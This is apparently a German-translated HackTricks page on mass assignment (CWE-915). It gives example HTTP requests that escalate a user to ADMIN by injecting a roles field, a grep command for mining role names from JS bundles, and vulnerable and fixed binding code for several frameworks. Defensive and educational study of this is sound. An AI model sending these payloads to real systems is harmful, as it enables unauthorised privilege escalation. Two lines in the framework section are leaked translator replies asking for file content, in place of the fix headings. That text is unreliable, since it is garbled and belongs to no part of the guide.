Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Mass assignment (a.k.a. insecure object binding) tritt auf, wenn ein API/Controller vom Benutzer gelieferte JSON-Daten entgegennimmt und sie direkt an ein serverseitiges Modell/Entity bindet, ohne eine explizite Allow-List von Feldern. Wenn privilegierte Eigenschaften wie roles, isAdmin, status oder ownership-Felder bindbar sind, kann jeder authentifizierte Benutzer Privilegien eskalieren oder geschützten Zustand manipulieren.
Dies ist ein Broken Access Control-Problem (OWASP A01:2021), das oft vertikale Privilegieneskalation ermöglicht, z. B. durch Setzen von roles=ADMIN oder ähnlichem. Häufig betroffen sind Frameworks, die automatisches Binden von Request Bodies an Datenmodelle unterstützen (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).
1) Finding Mass Assignment
Suche nach Self-Service-Endpunkten, die das eigene Profil oder ähnliche Ressourcen aktualisieren:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
Heuristiken, die auf Mass Assignment hinweisen:
- Die Antwort spiegelt serververwaltete Felder wider (z. B. roles, status, isAdmin, permissions), auch wenn du sie nicht gesendet hast.
- Client-Bundles enthalten Rollen-Namen/IDs oder andere privilegierte Attributnamen, die in der App verwendet werden (admin, staff, moderator, internal flags) und auf ein bindbares Schema hinweisen.
- Backend-Serializer akzeptieren unbekannte Felder, ohne sie abzulehnen.
Schneller Testablauf:
- Perform a normal update with only safe fields and observe the full JSON response structure (this leaks the schema).
- Wiederhole das Update und füge ein manipuliertes privilegiertes Feld in den Body ein. Wenn die Antwort die Änderung beibehält, hast du wahrscheinlich Mass Assignment.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
Antwort deutet auf privilegierte Felder hin:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Ausnutzung – Rollen-Eskalation via Mass Assignment
Sobald Sie die bindbare Struktur kennen, fügen Sie die privilegierte Eigenschaft in derselben Anfrage hinzu.
Beispiel: Setzen Sie roles auf ADMIN in Ihrer eigenen Benutzerressource:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
Wenn die Response die Rollenänderung beibehält, re-authenticate oder tokens/claims refreshen, damit die App eine admin-context session ausstellt und privilegierte UI/endpoints anzeigt.
Hinweise
- Role identifiers und Shapes werden häufig aus dem client JS bundle oder den API docs enumeriert. Suche nach Strings wie "roles", "ADMIN", "STAFF" oder numerischen role IDs.
- Wenn tokens claims enthalten (z. B. JWT roles), ist in der Regel ein logout/login oder ein token refresh erforderlich, um die neuen Privilegien wirksam werden zu lassen.
3) Client Bundle Recon für Schema und Role IDs
- Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
- Suche nach arrays/maps von roles, permissions oder feature flags. Erstelle payloads, die genau den property names und der Nesting-Struktur entsprechen.
- Typische Indikatoren: role name constants, dropdown option lists, validation schemas.
Handy greps gegen ein heruntergeladenes Bundle:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) Framework-Fallstricke und sichere Muster
Die Schwachstelle entsteht, wenn Frameworks req.body direkt an persistente Entitäten binden. Nachfolgend sind häufige Fehler und minimale, sichere Muster aufgeführt.
Node.js (Express + Mongoose)
Anfällig:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Bitte füge den Inhalt der Datei src/pentesting-web/mass-assignment-cwe-915.md oder den zu übersetzenden Markdown-Text ein. Ich übersetze den englischen Text ins Deutsche und lasse dabei Code, Tags, Links, Pfade sowie Hack-/Cloud-Begriffe unverändert.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
Anfällig (keine strong parameters):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Behebung (strong params + keine privilegierten Felder):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Anfällig:
protected $guarded = []; // Everything mass-assignable (bad)
Bitte füge den Inhalt der Datei src/pentesting-web/mass-assignment-cwe-915.md hier ein oder gib an, welchen Abschnitt ich übersetzen/fixen soll. Ich übersetze ins Deutsche und behalte Markdown, Code, Links, Tags und Pfade unverändert, gemäß deinen Vorgaben.
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
Anfälliges Muster:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Auf ein DTO mit nur erlaubten Feldern abbilden und Autorisierung erzwingen:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
Kopiere dann serverseitig nur die erlaubten Felder vom DTO in die Entity und behandle Rollenänderungen nur in admin-exklusiven Handlern nach RBAC-Prüfungen. Verwende @JsonIgnore für privilegierte Felder, falls nötig, und lehne unbekannte Eigenschaften ab.
Go (encoding/json)
- Stelle sicher, dass privilegierte Felder json:"-" verwenden und validiere mit einem DTO-Struct, das nur erlaubte Felder enthält.
- Erwäge decoder.DisallowUnknownFields() und eine Validierung der Invarianten nach dem Binden (Rollen dürfen sich in Self-Service-Routen nicht ändern).
Quellen
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 – Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks